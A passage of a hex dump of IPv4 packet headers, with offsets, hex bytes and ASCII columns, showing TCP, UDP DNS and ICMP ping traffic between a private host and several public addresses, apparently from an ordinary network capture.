e3 47 bd 40 00 40 06 e9 8d c0 a8 ef 84 ac d9 ab c3 E...G.@.@........... 00000eb0: 45 00 00 28 be bb 00 00 80 06 73 4a ac d9 ab c3 c0 a8 ef 84 E..(......sJ........ 00000ec4: 45 00 02 6c be c1 00 00 80 06 71 00 ac d9 ab c3 c0 a8 ef 84 E..l......q......... 00000ed8: 45 00 00 28 b2 ee 40 00 40 06 7f 17 c0 a8 ef 84 ac d9 ab c3 E..(..@.@........... 00000eec: 45 00 00 40 b2 ef 40 00 40 06 7e fe c0 a8 ef 84 ac d9 ab c3 E..@..@.@.~......... 00000f00: 45 00 00 28 b2 f0 40 00 40 06 7f 15 c0 a8 ef 84 ac d9 ab c3 E..(..@.@........... 00000f14: 45 00 00 28 be c2 00 00 80 06 73 43 ac d9 ab c3 c0 a8 ef 84 E..(......sC........ 00000f28: 45 00 00 28 be c3 00 00 80 06 73 42 ac d9 ab c3 c0 a8 ef 84 E..(......sB........ 00000f3c: 45 00 02 6c be c4 00 00 80 06 70 fd ac d9 ab c3 c0 a8 ef 84 E..l......p......... 00000f50: 45 00 00 28 b1 7b 40 00 40 06 80 8a c0 a8 ef 84 ac d9 ab c3 E..(.{@.@........... 00000f64: 45 00 02 6c be c5 00 00 80 06 70 fc ac d9 ab c3 c0 a8 ef 84 E..l......p......... 00000f78: 45 00 00 28 60 d6 40 00 40 06 d1 2f c0 a8 ef 84 ac d9 ab c3 E..(`.@.@../........ 00000f8c: 45 00 00 40 60 d7 40 00 40 06 d1 16 c0 a8 ef 84 ac d9 ab c3 E..@`.@.@........... 00000fa0: 45 00 00 28 60 d8 40 00 40 06 d1 2d c0 a8 ef 84 ac d9 ab c3 E..(`.@.@..-........ 00000fb4: 45 00 00 28 be c6 00 00 80 06 73 3f ac d9 ab c3 c0 a8 ef 84 E..(......s?........ 00000fc8: 45 00 00 40 b1 7c 40 00 40 06 80 71 c0 a8 ef 84 ac d9 ab c3 E..@.|@.@..q........ 00000fdc: 45 00 00 28 be c7 00 00 80 06 73 3e ac d9 ab c3 c0 a8 ef 84 E..(......s>........ 00000ff0: 45 00 00 28 b1 7d 40 00 40 06 80 88 c0 a8 ef 84 ac d9 ab c3 E..(.}@.@........... 00001004: 45 00 00 28 be c8 00 00 80 06 73 3d ac d9 ab c3 c0 a8 ef 84 E..(......s=........ 00001018: 45 00 00 28 be c9 00 00 80 06 73 3c ac d9 ab c3 c0 a8 ef 84 E..(......s<........ 0000102c: 45 00 02 6c be ca 00 00 80 06 70 f7 ac d9 ab c3 c0 a8 ef 84 E..l......p......... 00001040: 45 00 00 28 47 be 40 00 40 06 ea 47 c0 a8 ef 84 ac d9 ab c3 E..(G.@.@..G........ 00001054: 45 00 00 40 47 bf 40 00 40 06 ea 2e c0 a8 ef 84 ac d9 ab c3 E..@G.@.@........... 00001068: 45 00 00 28 47 c0 40 00 40 06 ea 45 c0 a8 ef 84 ac d9 ab c3 E..(G.@.@..E........ 0000107c: 45 00 00 28 be cb 00 00 80 06 73 3a ac d9 ab c3 c0 a8 ef 84 E..(......s:........ 00001090: 45 00 00 28 be cc 00 00 80 06 73 39 ac d9 ab c3 c0 a8 ef 84 E..(......s9........ 000010a4: 45 00 00 47 be dd 00 00 80 06 73 09 ac d9 ab c3 c0 a8 ef 84 E..G......s......... 000010b8: 45 00 00 28 00 00 40 00 40 06 32 06 c0 a8 ef 84 ac d9 ab c3 E..(..@.@.2......... 000010cc: 45 00 00 47 be de 00 00 80 06 73 08 ac d9 ab c3 c0 a8 ef 84 E..G......s......... 000010e0: 45 00 00 28 00 00 40 00 40 06 32 06 c0 a8 ef 84 ac d9 ab c3 E..(..@.@.2......... 000010f4: 45 00 00 47 be e1 00 00 80 06 73 05 ac d9 ab c3 c0 a8 ef 84 E..G......s......... 00001108: 45 00 00 28 00 00 40 00 40 06 32 06 c0 a8 ef 84 ac d9 ab c3 E..(..@.@.2......... 0000111c: 45 00 00 47 be e4 00 00 80 06 73 02 ac d9 ab c3 c0 a8 ef 84 E..G......s......... 00001130: 45 00 00 28 00 00 40 00 40 06 32 06 c0 a8 ef 84 ac d9 ab c3 E..(..@.@.2......... 00001144: 45 00 00 2c bf 07 00 00 80 06 72 fa ac d9 ab c3 c0 a8 ef 84 E..,......r......... 00001158: 45 00 00 28 00 00 40 00 40 06 32 06 c0 a8 ef 84 ac d9 ab c3 E..(..@.@.2......... 0000116c: 45 00 00 1c 00 01 00 00 34 11 35 a0 1b 04 14 12 0e 07 14 14 E.......4.5......... 00001180: 45 00 00 1c 00 01 00 00 64 11 05 a0 1b 04 14 12 0e 07 14 14 E.......d........... 00001194: 45 00 00 1c 00 01 00 00 31 11 38 a0 1b 04 14 12 0e 07 14 14 E.......1.8......... 000011a8: 45 00 00 56 91 de 40 00 40 06 df eb c0 a8 ef 84 97 65 81 45 E..V..@.@........e.E 000011bc: 45 00 00 28 c0 cb 00 00 80 06 b1 2c 97 65 81 45 c0 a8 ef 84 E..(.......,.e.E.... 000011d0: 45 00 00 56 c0 cc 00 00 80 06 b0 fd 97 65 81 45 c0 a8 ef 84 E..V.........e.E.... 000011e4: 45 00 00 28 91 df 40 00 40 06 e0 18 c0 a8 ef 84 97 65 81 45 E..(..@.@........e.E 000011f8: 45 00 00 1c 00 01 00 00 65 11 04 a0 1b 04 14 12 0e 07 14 14 E.......e........... 0000120c: 45 00 00 1c 00 01 00 00 5f 11 0a a0 1b 04 14 12 0e 07 14 14 E......._........... 00001220: 45 00 00 54 c3 8c 40 00 40 01 c4 ed c0 a8 ef 84 01 01 01 01 E..T..@.@........... 00001234: 45 00 00 54 c0 d5 00 00 80 01 c7 a4 01 01 01 01 c0 a8 ef 84 E..T................ 00001248: 45 00 00 54 c3 d3 40 00 40 01 c4 a6 c0 a8 ef 84 01 01 01 01 E..T..@.@........... 0000125c: 45 00 00 54 c0 d6 00 00 80 01 c7 a3 01 01 01 01 c0 a8 ef 84 E..T................ 00001270: 45 00 00 54 c4 5d 40 00 40 01 c4 1c c0 a8 ef 84 01 01 01 01 E..T.]@.@........... 00001284: 45 00 00 54 c0 d7 00 00 80 01 c7 a2 01 01 01 01 c0 a8 ef 84 E..T................ 00001298: 45 00 00 54 c4 9d 40 00 40 01 c3 dc c0 a8 ef 84 01 01 01 01 E..T..@.@........... 000012ac: 45 00 00 54 c0 d8 00 00 80 01 c7 a1 01 01 01 01 c0 a8 ef 84 E..T................ 000012c0: 45 00 00 1c 00 01 00 00 77 11 f2 9f 1b 04 14 12 0e 07 14 14 E.......w........... 000012d4: 45 00 00 54 c4 ab 40 00 40 01 c3 ce c0 a8 ef 84 01 01 01 01 E..T..@.@........... 000012e8: 45 00 00 54 c0 d9 00 00 80 01 c7 a0 01 01 01 01 c0 a8 ef 84 E..T................ 000012fc: 45 00 00 54 c5 9c 40 00 40 01 c2 dd c0 a8 ef 84 01 01 01 01 E..T..@.@........... 00001310: 45 00 00 54 c0 da 00 00 80 01 c7 9f 01 01 01 01 c0 a8 ef 84 E..T................ 00001324: 45 00 00 54 c6 56 40 00 40 01 c2 23 c0 a8 ef 84 01 01 01 01 E..T.V@.@..#........ 00001338: 45 00 00 54 c0 db 00 00 80 01 c7 9e 01 01 01 01 c0 a8 ef 84 E..T................ 0000134c: 45 00 00 54 c6 e6 40 00 40 01 c1 93 c0 a8 ef 84 01 01 01 01 E..T..@.@........... 00001360: 45 00 00 54 c0 df 00 00 80 01 c7 9a 01 01 01 01 c0 a8 ef 84 E..T................ 00001374: 45 00 00 1c 00 01 00 00 34 11 35 a0 1b 04 14 12 0e 07 14 14 E.......4.5......... 00001388: 45 00 00 4f 2c 52 40 00 40 06 9c 46 c0 a8 ef 84 ac d9 15 0a E..O,R@.@..F........ 0000139c: 45 00 00 4f 32 37 40 00 40 06 ac 3f c0 a8 ef 84 d8 3a d3 ca E..O27@.@..?.....:.. 000013b0: 45 00 00 28 c0 e1 00 00 80 06 07 de ac d9 15 0a c0 a8 ef 84 E..(................ 000013c4: 45 00 00 28 c0 e2 00 00 80 06 1d bb d8 3a d3 ca c0 a8 ef 84 E..(.........:...... 000013d8: 45 00 00 4f c0 e3 00 00 80 06 1d 93 d8 3a d3 ca c0 a8 ef 84 E..O.........:...... 000013ec: 45 00 00 4f c0 e4 00 00 80 06 07 b4 ac d9 15 0a c0 a8 ef 84 E..O................ 00001400: 45 00 00 28 2c 53 40 00 40 06 9c 6c c0 a8 ef 84 ac d9 15 0a E..(,S@.@..l........ 00001414: 45 00 00 28 32 38 40 00 40 06 ac 65 c0 a8 ef 84 d8 3a d3 ca E..(28@.@..e.....:.. 00001428: 45 00 00 1c 00 01 00 00 35 11 34 a0 1b 04 14 12 0e 07 14 14 E.......5.4......... 0000143c: 45 00 00 1c 00 01 00 00 5f 11 0a a0 1b 04 14 12 0e 07 14 14 E......._........... 00001450: 45 00 00 3c c0 bd 40 00 40 06 71 8c c0 a8 ef 84 97 65 c0 df E..<..@.@.q......e.. 00001464: 45 00 00 2c c1 03 00 00 80 06 71 56 97 65 c0 df c0 a8 ef 84 E..,......qV.e...... 00001478: 45 00 00 28 c0 be 40 00 40 06 71 9f c0 a8 ef 84 97 65 c0 df E..(..@.@.q......e.. 0000148c: 45 00 02 2d c0 bf 40 00 40 06 6f 99 c0 a8 ef 84 97 65 c0 df E..-..@.@.o......e.. 000014a0: 45 00 00 28 c1 04 00 00 80 06 71 59 97 65 c0 df c0 a8 ef 84 E..(......qY.e...... 000014b4: 45 00 0a f0 c1 05 00 00 80 06 66 90 97 65 c0 df c0 a8 ef 84 E.........f..e...... 000014c8: 45 00 00 28 c0 c0 40 00 40 06 71 9d c0 a8 ef 84 97 65 c0 df E..(..@.@.q......e.. 000014dc: 45 00 07 5d c1 07 00 00 80 06 6a 21 97 65 c0 df c0 a8 ef 84 E..]......j!.e...... 000014f0: 45 00 00 28 c0 c1 40 00 40 06 71 9c c0 a8 ef 84 97 65 c0 df E..(..@.@.q......e.. 00001504: 45 00 00 68 c0 c2 40 00 40 06 71 5b c0 a8 ef 84 97 65 c0 df E..h..@.@.q[.....e.. 00001518: 45 00 00 28 c1 09 00 00 80 06 71 54 97 65 c0 df c0 a8 ef 84 E..(......qT.e...... 0000152c: 45 00 00 d2 c0 c3 40 00 40 06 70 f0 c0 a8 ef 84 97 65 c0 df E.....@.@.p......e.. 00001540: 45 00 01 4f c0 c4 40 00 40 06 70 72 c0 a8 ef 84 97 65 c0 df E..O..@.@.pr.....e.. 00001554: 45 00 00 28 c1 0a 00 00 80 06 71 53 97 65 c0 df c0 a8 ef 84 E..(......qS.e...... 00001568: 45 00 00 28 c1 0b 00 00 80 06 71 52 97 65 c0 df c0 a8 ef 84 E..(......qR.e...... 0000157c: 45 00 00 63 c1 0d 00 00 80 06 71 15 97 65 c0 df c0 a8 ef 84 E..c......q..e...... 00001590: 45 00 00 28 c0 c5 40 00 40 06 71 98 c0 a8 ef 84 97 65 c0 df E..(..@.@.q......e.. 000015a4: 45 00 00 47 c0 c6 40 00 40 06 71 78 c0 a8 ef 84 97 65 c0 df E..G..@.@.qx.....e.. 000015b8: 45 00 00 28 c1 0e 00 00 80 06 71 4f 97 65 c0 df c0 a8 ef 84 E..(......qO.e...... 000015cc: 45 00 05 8c c1 0f 00 00 80 06 6b ea 97 65 c0 df c0 a8 ef 84 E.........k..e...... 000015e0: 45 00 00 28 c0 c7 40 00 40 06 71 96 c0 a8 ef 84 97 65 c0 df E..(..@.@.q......e.. 000015f4: 45 00 05 8c c1 10 00 00 80 06 6b e9 97 65 c0 df c0 a8 ef 84 E.........k..e...... 00001608: 45 00 00 28 c0 c8 40 00 40 06 71 95 c0 a8 ef 84 97 65 c0 df E..(..@.@.q......e.. 0000161c: 45 00 05 8c c1 11 00 00 80 06 6b e8 97 65 c0 df c0 a8 ef 84 E.........k..e...... 00001630: 45 00 00 28 c0 c9 40 00 40 06 71 94 c0 a8 ef 84 97 65 c0 df E..(..@.@.q......e.. 00001644: 45 00 07 38 c1 12 00 00 80 06 6a 3b 97 65 c0 df c0 a8 ef 84 E..8......j;.e...... 00001658: 45 00 00 28 c0 ca 40 00 40 06 71 93 c0 a8 ef 84 97 65 c0 df E..(..@.@.q......e.. 0000166c: 45 00 00 9c c0 cb 40 00 40 06 71 1e c0 a8 ef 84 97 65 c0 df E.....@.@.q......e.. 00001680: 45 00 00 28 c1 16 00 00 80 06 71 47 97 65 c0 df c0 a8 ef 84 E..(......qG.e...... 00001694: 45 00 00 89 c0 cc 40 00 40 06 71 30 c0 a8 ef 84 97 65 c0 df E.....@.@.q0.....e.. 000016a8: 45 00 00 28 c1 17 00 00 80 06 71 46 97 65 c0 df c0 a8 ef 84 E..(......qF.e...... 000016bc: 45 00 00 88 c0 cd 40 00 40 06 71 30 c0 a8 ef 84 97 65 c0 df E.....@.@.q0.....e.. 000016d0: 45 00 00 28 c1 18 00 00 80 06 71 45 97 65 c0 df c0 a8 ef 84 E..(......qE.e...... 000016e4: 45 00 00 88 c0 ce 40 00 40 06 71 2f c0 a8 ef 84 97 65 c0 df E.....@.@.q/.....e.. 000016f8: 45 00 00 28 c1 19 00 00 80 06 71 44 97 65 c0 df c0 a8 ef 84 E..(......qD.e...... 0000170c: 45 00 00 87 c0 cf 40 00 40 06 71 2f c0 a8 ef 84 97 65 c0 df E.....@.@.q/.....e.. 00001720: 45 00 00 28 c1 1a 00 00 80 06 71 43 97 65 c0 df c0 a8 ef 84 E..(......qC.e...... 00001734: 45 00 00 89 c0 d0 40 00 40 06 71 2c c0 a8 ef 84 97 65 c0 df E.....@.@.q,.....e.. 00001748: 45 00 00 28 c1 1b 00 00 80 06 71 42 97 65 c0 df c0 a8 ef 84 E..(......qB.e...... 0000175c: 45 00 00 88 c0 d1 40 00 40 06 71 2c c0 a8 ef 84 97 65 c0 df E.....@.@.q,.....e.. 00001770: 45 00 00 28 c1 1c 00 00 80 06 71 41 97 65 c0 df c0 a8 ef 84 E..(......qA.e...... 00001784: 45 00 00 8a c0 d2 40 00 40 06 71 29 c0 a8 ef 84 97 65 c0 df E.....@.@.q).....e.. 00001798: 45 00 00 28 c1 1d 00 00 80 06 71 40 97 65 c0 df c0 a8 ef 84 E..(......q@.e...... 000017ac: 45 00 00 8b c0 d3 40 00 40 06 71 27 c0 a8 ef 84 97 65 c0 df E.....@.@.q'.....e.. 000017c0: 45 00 00 28 c1 1e 00 00 80 06 71 3f 97 65 c0 df c0 a8 ef 84 E..(......q?.e...... 000017d4: 45 00 00 4b c0 d4 40 00 40 06 71 66 c0 a8 ef 84 97 65 c0 df E..K..@.@.qf.....e.. 000017e8: 45 00 00 28 c1 1f 00 00 80 06 71 3e 97 65 c0 df c0 a8 ef 84 E..(......q>.e...... 000017fc: 45 00 00 4b c0 d5 40 00 40 06 71 65 c0 a8 ef 84 97 65 c0 df E..K..@.@.qe.....e.. 00001810: 45 00 00 28 c1 20 00 00 80 06 71 3d 97 65 c0 df c0 a8 ef 84 E..(. ....q=.e...... 00001824: 45 00 00 4b c0 d6 40 00 40 06 71 64 c0 a8 ef 84 97 65 c0 df E..K..@.@.qd.....e.. 00001838: 45 00 00 28 c1 21 00 00 80 06 71 3c 97 65 c0 df c0 a8 ef 84 E..(.!....q<.e...... 0000184c: 45 00 00 4b c0 d7 40 00 40 06 71 63 c0 a8 ef 84 97 65 c0 df E..K..@.@.qc.....e.. 00001860: 45 00 00 28 c1 22 00 00 80 06 71 3b 97 65 c0 df c0 a8 ef 84 E..(."....q;.e...... 00001874: 45 00 00 4b c0 d8 40 00 40 06 71 62 c0 a8 ef 84 97 65 c0 df E..K..@.@.qb.....e.. 00001888: 45 00 00 28 c1 23 00 00 80 06 71 3a 97 65 c0 df c0 a8 ef 84 E..(.#....q:.e...... 0000189c: 45 00 00 4b c0 d9 40 00 40 06 71 61 c0 a8 ef 84 97 65 c0 df E..K..@.@.qa.....e.. 000018b0: 45 00 00 28 c1 24 00 00 80 06 71 39 97 65 c0 df c0 a8 ef 84 E..(.$....q9.e...... 000018c4: 45 00 00 4b c0 da 40 00 40 06 71 60 c0 a8 ef 84 97 65 c0 df E..K..@.@.q`.....e.. 000018d8: 45 00 00 6e c0 db 40 00 40 06 71 3c c0 a8 ef 84 97 65 c0 df E..n..@.@.q<.....e.. 000018ec: 45 00 00 28 c1 25 00 00 80 06 71 38 97 65 c0 df c0 a8 ef 84 E..(.%....q8.e...... 00001900: 45 00 00 28 c1 26 00 00 80 06 71 37 97 65 c0 df c0 a8 ef 84 E..(.&....q7.e...... 00001914: 45 00 04 84 c1 27 00 00 80 06 6c da 97 65 c0 df c0 a8 ef 84 E....'....l..e...... 00001928: 45 00 00 28 c0 dc 40 00 40 06 71 81 c0 a8 ef 84 97 65 c0 df E..(..@.@.q......e.. 0000193c: 45 00 00 e2 c0 dd 40 00 40 06 70 c6 c0 a8 ef 84 97 65 c0 df E.....@.@.p......e.. 00001950: 45 00 00 28 c1 2a 00 00 80 06 71 33 97 65 c0 df c0 a8 ef 84 E..(.*....q3.e...... 00001964: 45 00 00 4b c0 de 40 00 40 06 71 5c c0 a8 ef 84 97 65 c0 df E..K..@.@.q\.....e.. 00001978: 45 00 00 28 c1 2d 00 00 80 06 71 30 97 65 c0 df c0 a8 ef 84 E..(.-....q0.e...... 0000198c: 45 00 00 7d c0 df 40 00 40 06 71 29 c0 a8 ef 84 97 65 c0 df E..}..@.@.q).....e.. 000019a0: 45 00 00 28 c1 40 00 00 80 06 71 1d 97 65 c0 df c0 a8 ef 84 E..(.@....q..e...... 000019b4: 45 00 00 7d c0 e0 40 00 40 06 71 28 c0 a8 ef 84 97 65 c0 df E..}..@.@.q(.....e.. 000019c8: 45 00 00 28 c1 41 00 00 80 06 71 1c 97 65 c0 df c0 a8 ef 84 E..(.A....q..e...... 000019dc: 45 00 00 7e c0 e1 40 00 40 06 71 26 c0 a8 ef 84 97 65 c0 df E..~..@.@.q&.....e.. 000019f0: 45 00 00 28 c1 42 00 00 80 06 71 1b 97 65 c0 df c0 a8 ef 84 E..(.B....q..e...... 00001a04: 45 00 00 3c 98 1f 40 00 40 06 fd 13 c0 a8 ef 84 34 d7 c0 84 E..<..@.@.......4... 00001a18: 45 00 01 c1 c1 44 00 00 80 06 6f 80 97 65 c0 df c0 a8 ef 84 E....D....o..e...... 00001a2c: 45 00 00 28 c0 e2 40 00 40 06 71 7b c0 a8 ef 84 97 65 c0 df E..(..@.@.q{.....e.. 00001a40: 45 00 00 2c c1 45 00 00 80 06 d3 fd 34 d7 c0 84 c0 a8 ef 84 E..,.E......4....... 00001a54: 45 00 00 28 98 20 40 00 40 06 fd 26 c0 a8 ef 84 34 d7 c0 84 E..(. @.@..&....4... 00001a68: 45 00 02 2d 98 21 40 00 40 06 fb 20 c0 a8 ef 84 34 d7 c0 84 E..-.!@.@.. ....4... 00001a7c: 45 00 00 28 c1 46 00 00 80 06 d4 00 34 d7 c0 84 c0 a8 ef 84 E..(.F......4....... 00001a90: 45 00 02 d9 c1 47 00 00 80 06 6e 65 97 65 c0 df c0 a8 ef 84 E....G....ne.e...... 00001aa4: 45 00 00 28 c0 e3 40 00 40 06 71 7a c0 a8 ef 84 97 65 c0 df E..(..@.@.qz.....e.. 00001ab8: 45 00 11 f3 c1 48 00 00 80 06 c2 33 34 d7 c0 84 c0 a8 ef 84 E....H.....34....... 00001acc: 45 00 00 28 98 22 40 00 40 06 fd 24 c0 a8 ef 84 34 d7 c0 84 E..(."@.@..$....4... 00001ae0: 45 00 00 68 98 23 40 00 40 06 fc e3 c0 a8 ef 84 34 d7 c0 84 E..h.#@.@.......4... 00001af4: 45 00 00 28 c1 4c 00 00 80 06 d3 fa 34 d7 c0 84 c0 a8 ef 84 E..(.L......4....... 00001b08: 45 00 00 d2 98 24 40 00 40 06 fc 78 c0 a8 ef 84 34 d7 c0 84 E....$@.@..x....4... 00001b1c: 45 00 01 2e 98 25 40 00 40 06 fc 1b c0 a8 ef 84 34 d7 c0 84 E....%@.@.......4... 00001b30: 45 00 00 28 c1 4d 00 00 80 06 d3 f9 34 d7 c0 84 c0 a8 ef 84 E..(.M......4....... 00001b44: 45 00 00 28 c1 4e 00 00 80 06 d3 f8 34 d7 c0 84 c0 a8 ef 84 E..(.N......4....... 00001b58: 45 00 02 ff c1 4f 00 00 80 06 6e 37 97 65 c0 df c0 a8 ef 84 E....O....n7.e...... 00001b6c: 45 00 00 28 c0 e4 40 00 40 06 71 79 c0 a8 ef 84 97 65 c0 df E..(..@.@.qy.....e.. 00001b80: 45 00 01 68 c1 50 00 00 80 06 d2 b6 34 d7 c0 84 c0 a8 ef 84 E..h.P......4....... 00001b94: 45 00 00 28 98 26 40 00 40 06 fd 20 c0 a8 ef 84 34 d7 c0 84 E..(.&@.@.. ....4... 00001ba8: 45 00 00 47 98 27 40 00 40 06 fd 00 c0 a8 ef 84 34 d7 c0 84 E..G.'@.@.......4... 00001bbc: 45 00 00 28 c1 51 00 00 80 06 d3 f5 34 d7 c0 84 c0 a8 ef 84 E..(.Q......4....... 00001bd0: 45 00 00 47 c1 52 00 00 80 06 d3 d5 34 d7 c0 84 c0 a8 ef 84 E..G.R......4....... 00001be4: 45 00 00 28 98 28 40 00 40 06 fd 1e c0 a8 ef 84 34 d7 c0 84 E..(.(@.@.......4... 00001bf8: 45 00 03 19 c1 54 00 00 80 06 d1 01 34 d7 c0 84 c0 a8 ef 84 E....T......4....... 00001c0c: 45 00 00 28 98 29 40 00 40 06 fd 1d c0 a8 ef 84 34 d7 c0 84 E..(.)@.@.......4... 00001c20: 45 00 00 56 91 e0 40 00 40 06 df e9 c0 a8 ef 84 97 65 81 45 E..V..@.@........e.E 00001c34: 45 00 00 28 c1 55 00 00 80 06 b0 a2 97 65 81 45 c0 a8 ef 84 E..(.U.......e.E.... 00001c48: 45 00 00 56 c1 56 00 00 80 06 b0 73 97 65 81 45 c0 a8 ef 84 E..V.V.....s.e.E.... 00001c5c: 45 00 00 28 91 e1 40 00 40 06 e0 16 c0 a8 ef 84 97 65 81 45 E..(..@.@........e.E 00001c70: 45 00 00 1c 00 01 00 00 37 11 32 a0 1b 04 14 12 0e 07 14 14 E.......7.2......... 00001c84: 45 00 00 43 66 0b 40 00 40 11 74 c6 c0 a8 ef 84 c0 a8 ef 02 E..Cf.@.@.t......... 00001c98: 45 00 00 43 66 0c 40 00 40 11 74 c5 c0 a8 ef 84 c0 a8 ef 02 E..Cf.@.@.t......... 00001cac: 45 00 00 9a c1 6f 00 00 80 11 19 0b c0 a8 ef 02 c0 a8 ef 84 E....o.............. 00001cc0: 45 00 00 53 c1 70 00 00 80 11 19 51 c0 a8 ef 02 c0 a8 ef 84 E..S.p.....Q........ 00001cd4: 45 00 00 3c e2 9c 40 00 40 06 17 73 c0 a8 ef 84 2d 37 63 48 E..<..@.@..s....-7cH 00001ce8: 45 00 00 2c c1 71 00 00 80 06 38 ae 2d 37 63 48 c0 a8 ef 84 E..,.q....8.-7cH.... 00001cfc: 45 00 00 28 e2 9d 40 00 40 06 17 86 c0 a8 ef 84 2d 37 63 48 E..(..@.@.......-7cH 00001d10: 45 00 02 2d e2 9e 40 00 40 06 15 80 c0 a8 ef 84 2d 37 63 48 E..-..@.@.......-7cH 00001d24: 45 00 00 28 c1 72 00 00 80 06 38 b1 2d 37 63 48 c0 a8 ef 84 E..(.r....8.-7cH.... 00001d38: 45 00 04 c6 c1 75 00 00 80 06 34 10 2d 37 63 48 c0 a8 ef 84 E....u....4.-7cH.... 00001d4c: 45 00 00 28 e2 9f 40 00 40 06 17 84 c0 a8 ef 84 2d 37 63 48 E..(..@.@.......-7cH 00001d60: 45 00 0a f0 c1 73 00 00 80 06 2d e8 2d 37 63 48 c0 a8 ef 84 E....s....-.-7cH.... 00001d74: 45 00 00 28 e2 a0 40 00 40 06 17 83 c0 a8 ef 84 2d 37 63 48 E..(..@.@.......-7cH 00001d88: 45 00 00 78 e2 a1 40 00 40 06 17 32 c0 a8 ef 84 2d 37 63 48 E..x..@.@..2....-7cH 00001d9c: 45 00 00 28 c1 76 00 00 80 06 38 ad 2d 37 63 48 c0 a8 ef 84 E..(.v....8.-7cH.... 00001db0: 45 00 01 93 e2 a2 40 00 40 06 16 16 c0 a8 ef 84 2d 37 63 48 E.....@.@.......-7cH 00001dc4: 45 00 00 28 c1 77 00 00 80 06 38 ac 2d 37 63 48 c0 a8 ef 84 E..(.w....8.-7cH.... 00001dd8: 45 00 00 c6 c1 78 00 00 80 06 38 0d 2d 37 63 48 c0 a8 ef 84 E....x....8.-7cH.... 00001dec: 45 00 00 28 e2 a3 40 00 40 06 17 80 c0 a8 ef 84 2d 37 63 48 E..(..@.@.......-7cH 00001e00: 45 00 01 ce c1 79 00 00 80 06 37 04 2d 37 63 48 c0 a8 ef 84 E....y....7.-7cH.... 00001e14: 45 00 00 28 e2 a4 40 00 40 06 17 7f c0 a8 ef 84 2d 37 63 48 E..(..@.@.......-7cH 00001e28: 45 00 00 47 66 96 40 00 40 11 74 37 c0 a8 ef 84 c0 a8 ef 02 E..Gf.@.@.t7........ 00001e3c: 45 00 00 47 66 97 40 00 40 11 74 36 c0 a8 ef 84 c0 a8 ef 02 E..Gf.@.@.t6........ 00001e50: 45 00 00 90 c1 7a 00 00 80 11 19 0a c0 a8 ef 02 c0 a8 ef 84 E....z.............. 00001e64: 45 00 00 84 c1 7b 00 00 80 11 19 15 c0 a8 ef 02 c0 a8 ef 84 E....{.............. 00001e78: 45 00 00 4b 67 1a 40 00 40 11 73 af c0 a8 ef 84 c0 a8 ef 02 E..Kg.@.@.s......... 00001e8c: 45 00 00 4b 67 1b 40 00 40 11 73 ae c0 a8 ef 84 c0 a8 ef 02 E..Kg.@.@.s......... 00001ea0: 45 00 00 bc 98 2a 40 00 40 06 fc 88 c0 a8 ef 84 34 d7 c0 84 E....*@.@.......4... 00001eb4: 45 00 00 28 c2 e3 00 00 80 06 d2 63 34 d7 c0 84 c0 a8 ef 84 E..(.......c4....... 00001ec8: 45 00 00 92 c2 eb 00 00 80 11 17 97 c0 a8 ef 02 c0 a8 ef 84 E................... 00001edc: 45 00 00 d9 c2 ec 00 00 80 11 17 4f c0 a8 ef 02 c0 a8 ef 84 E..........O........ 00001ef0: 45 00 00 7e c2 ee 00 00 80 06 d2 02 34 d7 c0 84 c0 a8 ef 84 E..~........4....... 00001f04: 45 00 00 28 98 2b 40 00 40 06 fd 1b c0 a8 ef 84 34 d7 c0 84 E..(.+@.@.......4... 00001f18: 45 00 00 3c ac 83 40 00 40 06 4d 8c c0 a8 ef 84 2d 37 63 48 E..<..@.@.M.....-7cH 00001f2c: 45 00 00 2c c2 fd 00 00 80 06 37 22 2d 37 63 48 c0 a8 ef 84 E..,......7"-7cH.... 00001f40: 45 00 00 28 ac 84 40 00 40 06 4d 9f c0 a8 ef 84 2d 37 63 48 E..(..@.@.M.....-7cH 00001f54: 45 00 02 2d ac 85 40 00 40 06 4b 99 c0 a8 ef 84 2d 37 63 48 E..-..@.@.K.....-7cH 00001f68: 45 00 00 28 c2 fe 00 00 80 06 37 25 2d 37 63 48 c0 a8 ef 84 E..(......7%-7cH.... 00001f7c: 45 00 05 8c c3 0a 00 00 80 06 31 b5 2d 37 63 48 c0 a8 ef 84 E.........1.-7cH.... 00001f90: 45 00 00 28 ac 86 40 00 40 06 4d 9d c0 a8 ef 84 2d 37 63 48 E..(..@.@.M.....-7cH 00001fa4: 45 00 06 e3 c3 0b 00 00 80 06 30 5d 2d 37 63 48 c0 a8 ef 84 E.........0]-7cH.... 00001fb8: 45 00 00 28 ac 87 40 00 40 06 4d 9c c0 a8 ef 84 2d 37 63 48 E..(..@.@.M.....-7cH 00001fcc: 45 00 00 78 ac 88 40 00 40 06 4d 4b c0 a8 ef 84 2d 37 63 48 E..x..@.@.MK....-7cH 00001fe0: 45 00 00 28 c3 12 00 00 80 06 37 11 2d 37 63 48 c0 a8 ef 84 E..(......7.-7cH.... 00001ff4: 45 00 01 9b ac 89 40 00 40 06 4c 27 c0 a8 ef 84 2d 37 63 48 E.....@.@.L'....-7cH 00002008: 45 00 00 28 c3 13 00 00 80 06 37 10 2d 37 63 48 c0 a8 ef 84 E..(......7.-7cH.... 0000201c: 45 00 00 c6 c3 14 00 00 80 06 36 71 2d 37 63 48 c0 a8 ef 84 E.........6q-7cH.... 00002030: 45 00 00 28 ac 8a 40 00 40 06 4d 99 c0 a8 ef 84 2d 37 63 48 E..(..@.@.M.....-7cH 00002044: 45 00 01 be c3 15 00 00 80 06 35 78 2d 37 63 48 c0 a8 ef 84 E.........5x-7cH.... 00002058: 45 00 00 28 ac 8b 40 00 40 06 4d 98 c0 a8 ef 84 2d 37 63 48 E..(..@.@.M.....-7cH 0000206c: 45 00 00 1c 00 01 00 00 68 11 01 a0 1b 04 14 12 0e 07 14 14 E.......h........... 00002080: 45 00 00 28 e2 a5 40 00 40 06 17 7e c0 a8 ef 84 2d 37 63 48 E..(..@.@..~....-7cH 00002094: 45 00 00 28 e2 a6 40 00 40 06 17 7d c0 a8 ef 84 2d 37 63 48 E..(..@.@..}....-7cH 000020a8: 45 00 00 28 c3 1a 00 00 80 06 37 09 2d 37 63 48 c0 a8 ef 84 E..(......7.-7cH.... 000020bc: 45 00 00 28 ac 8c 40 00 40 06 4d 97 c0 a8 ef 84 2d 37 63 48 E..(..@.@.M.....-7cH 000020d0: 45 00 00 28 ac 8d 40 00 40 06 4d 96 c0 a8 ef 84 2d 37 63 48 E..(..@.@.M.....-7cH 000020e4: 45 00 00 28 c3 1e 00 00 80 06 37 05 2d 37 63 48 c0 a8 ef 84 E..(......7.-7cH.... 000020f8: 45 00 00 54 5b 46 40 00 40 01 1f 26 c0 a8 ef 84 08 08 08 08 E..T[F@.@..&........ 0000210c: 45 00 00 